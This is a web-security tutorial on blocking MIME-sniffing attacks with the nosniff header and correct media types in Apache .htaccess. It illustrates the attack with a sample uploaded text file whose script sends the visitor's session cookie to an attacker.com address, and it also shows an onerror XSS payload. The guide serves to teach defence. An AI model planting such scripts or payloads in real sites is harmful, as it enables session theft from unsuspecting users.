MIME Sniffing Prevention in .htaccess
Browsers are designed to be helpful. When a server sends a file without a clear content type, or with a content type that does not seem to match the actual content, some browsers try to figure out what the file really is by examining its contents. This behavior, called MIME sniffing, was originally a convenience feature meant to handle misconfigured servers. Unfortunately, it is also a security vulnerability that attackers actively exploit.
This guide explains what MIME sniffing is, how attackers use it to execute malicious code, how to prevent it with a single response header, and why correct media type configuration is the essential foundation that makes this protection effective.
What Is MIME Sniffing
MIME sniffing (also called content sniffing or media type sniffing) is the process by which a browser ignores the Content-Type header sent by the server and instead inspects the raw bytes of a response to guess what type of content it contains.
When a server sends a response, it includes a Content-Type header that tells the browser how to handle the content:
Content-Type: text/plain
This header says "this is plain text, display it as text." But what if the first few bytes of the file look like HTML?
<html><script>alert('Surprise!')</script></html>
A browser performing MIME sniffing examines the content, detects what appears to be HTML, and decides to override the server's text/plain declaration. It renders the content as HTML and executes the embedded JavaScript.
This "helpful" behavior was introduced in older versions of Internet Explorer to deal with the many servers on the early web that sent incorrect or missing content types. Other browsers adopted similar behavior to varying degrees. While the intent was to improve compatibility, the security consequences are severe.
How MIME Sniffing Works
The browser's sniffing algorithm examines the first few hundred bytes of a response looking for signatures (sometimes called "magic bytes") that identify specific file formats:
| Content Signature | Sniffed Type |
|---|---|
<html, <head, <script | text/html |
%PDF | application/pdf |
GIF89a | image/gif |
\x89PNG | image/png |
PK (ZIP header) | application/zip |
{ followed by JSON structure | application/json |
If the detected signature does not match the declared Content-Type, the browser may use the sniffed type instead, fundamentally changing how the content is processed.
The Attack Vector
MIME sniffing becomes dangerous when an attacker can upload or inject content that the server treats as harmless but the browser interprets as executable.
The Classic Attack Scenario
Consider a website that allows users to upload text files. The application validates that uploaded files have a .txt extension and serves them with Content-Type: text/plain. This seems safe because plain text is not executed by the browser.
An attacker uploads a file named notes.txt with this content:
<html>
<body>
<script>
// Steal the user's session cookie
document.location = 'https://attacker.com/steal?cookie=' + document.cookie;
</script>
</body>
</html>
The server stores the file and serves it at https://example.com/uploads/notes.txt with the header:
Content-Type: text/plain
Without MIME sniffing, the browser displays the raw HTML source code as text. The script never executes. The file is harmless.
With MIME sniffing, the browser examines the content, sees HTML tags and a script element, overrides text/plain, and renders the response as HTML. The JavaScript executes, steals the user's cookie, and sends it to the attacker. The attacker now has the user's session.
Other Attack Scenarios
MIME sniffing enables several additional attack patterns:
JSON data interpreted as HTML:
An API endpoint returns user-generated content as JSON:
Content-Type: application/json
{"name": "<img src=x onerror=alert('XSS')>"}
If a browser sniffs this as HTML (perhaps when accessed directly via the address bar), the embedded script executes.
Image files containing scripts:
An attacker crafts a file that is simultaneously a valid image and valid HTML/JavaScript. The file passes image validation on upload, but when a browser sniffs it, the executable content is found and executed.
CSS injection through mistyped content:
A file served as text/plain that contains CSS can be sniffed as text/css and applied as a stylesheet, potentially altering the appearance of the page to display fake content or hide legitimate content (a form of UI redressing).
Why This Matters for Cross-Origin Data
MIME sniffing also creates risks with cross-origin data leaks. A script on an attacker's site can include a resource from your site using a <script> tag:
<script src="https://example.com/api/user-data.json"></script>
If the browser sniffs the JSON response as JavaScript and attempts to parse it, error messages or side effects during parsing can leak information about the response content to the attacker's page.
X-Content-Type-Options: nosniff
The defense against MIME sniffing is a single HTTP response header:
X-Content-Type-Options: nosniff
This header tells the browser: "Trust the Content-Type header I sent you. Do not try to guess the content type by examining the content. If the declared type does not match what you expect for this context, block the resource."
Configuring in .htaccess
<IfModule mod_headers.c>
Header always set X-Content-Type-Options "nosniff"
</IfModule>
That is the complete configuration. The nosniff value is the only valid value for this header. There are no other options, no parameters, and no complex configuration.
The always keyword ensures the header is sent with every response, including error pages (403, 404, 500, etc.). Error pages can also be targets for MIME sniffing attacks if they reflect user input.
What nosniff Does
When a browser receives X-Content-Type-Options: nosniff, its behavior changes in two important ways:
1. Script and style blocking:
If a <script> tag loads a resource whose Content-Type is not a valid JavaScript type (text/javascript, application/javascript, etc.), the browser blocks the script entirely. It does not execute it, regardless of the content.
Similarly, if a <link rel="stylesheet"> loads a resource whose Content-Type is not a valid CSS type (text/css), the browser blocks it.
2. No content-based type guessing:
For all other resource types (images, fonts, media, etc.), the browser uses the declared Content-Type without overriding it based on content inspection.
Practical Impact
| Scenario | Without nosniff | With nosniff |
|---|---|---|
text/plain file containing HTML/JS | May render as HTML | Displayed as plain text |
JSON API response loaded via <script> tag | May execute as JS | Blocked entirely |
CSS file served as text/plain | May apply as stylesheet | Ignored by the browser |
| Image file containing embedded scripts | May execute scripts | Treated as image only |
Correctly typed resources (text/html as HTML) | Works normally | Works normally |
The header has no negative impact on correctly configured resources. If your Content-Type headers are accurate, nosniff changes nothing about how your site functions. It only blocks the dangerous fallback behavior of content-based guessing.
Common Mistake: Conditional Application
Less effective approach:
<IfModule mod_headers.c>
# Only applied to HTML responses
Header set X-Content-Type-Options "nosniff" "expr=%{CONTENT_TYPE} =~ m#text/html#i"
</IfModule>
While it might seem logical to only send this header for HTML responses, MIME sniffing attacks can target any content type. A JSON API response, a plain text file, or even an image can be sniffed into a dangerous type. The header should be sent with every response.
Correct approach:
<IfModule mod_headers.c>
Header always set X-Content-Type-Options "nosniff"
</IfModule>
No conditions, no filters. Every response gets the header.
Relationship to Correct Media Types
The X-Content-Type-Options: nosniff header and correct Content-Type configuration are two sides of the same coin. The nosniff header tells browsers to trust the Content-Type header. But if your Content-Type headers are wrong or missing, you are telling browsers to trust incorrect information, which creates a different set of problems.
nosniff Without Correct Types
If you set nosniff but serve files with incorrect or missing media types, things break:
# Server sends:
Content-Type: text/plain
X-Content-Type-Options: nosniff
# For a file that is actually CSS
Without nosniff, the browser might sniff the content and correctly apply it as CSS. With nosniff, the browser obeys the text/plain type and refuses to apply it as a stylesheet. Your page loses its styling.
This is actually the correct behavior because the server was misconfigured. The nosniff header exposes the underlying problem rather than masking it with dangerous guessing.
The Correct Combination
Proper media type configuration (using AddType in .htaccess) combined with nosniff creates a secure and functional setup:
<IfModule mod_mime.c>
# Ensure all file types are correctly identified
AddType text/css css
AddType text/javascript js mjs
AddType application/json json map
AddType image/svg+xml svg svgz
AddType font/woff2 woff2
AddType font/woff woff
AddType application/manifest+json webmanifest
AddType image/webp webp
AddType image/avif avif
</IfModule>
<IfModule mod_headers.c>
# Tell browsers to trust the Content-Type we send
Header always set X-Content-Type-Options "nosniff"
</IfModule>
With this configuration:
AddTypeensures that every file extension maps to the correct media type, so theContent-Typeheader is always accurate.nosniffensures that browsers trust theContent-Typeheader and never override it with guesswork.
Defense in Depth
X-Content-Type-Options: nosniff works best as part of a layered security approach. Combined with other headers, it forms a comprehensive defense:
<IfModule mod_headers.c>
# Prevent MIME sniffing
Header always set X-Content-Type-Options "nosniff"
# Prevent clickjacking
Header always set X-Frame-Options "DENY" "expr=%{CONTENT_TYPE} =~ m#text/html#i"
# Control resource loading
Header always set Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'"
# Force HTTPS
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains"
</IfModule>
Each header addresses a different attack vector:
| Header | Prevents |
|---|---|
X-Content-Type-Options | MIME sniffing and content type confusion |
X-Frame-Options / frame-ancestors | Clickjacking |
Content-Security-Policy | XSS and unauthorized resource loading |
Strict-Transport-Security | Protocol downgrade and SSL stripping |
X-Content-Type-Options: nosniff is the simplest security header you can add. It is a single line, has no configuration complexity, causes no compatibility issues when your media types are correctly configured, and closes a meaningful attack vector. There is no reason not to include it on every website. Add it alongside your other security headers and ensure your AddType directives correctly map every file extension your site uses. Together, accurate media types and nosniff ensure that every file your server delivers is handled exactly as you intended.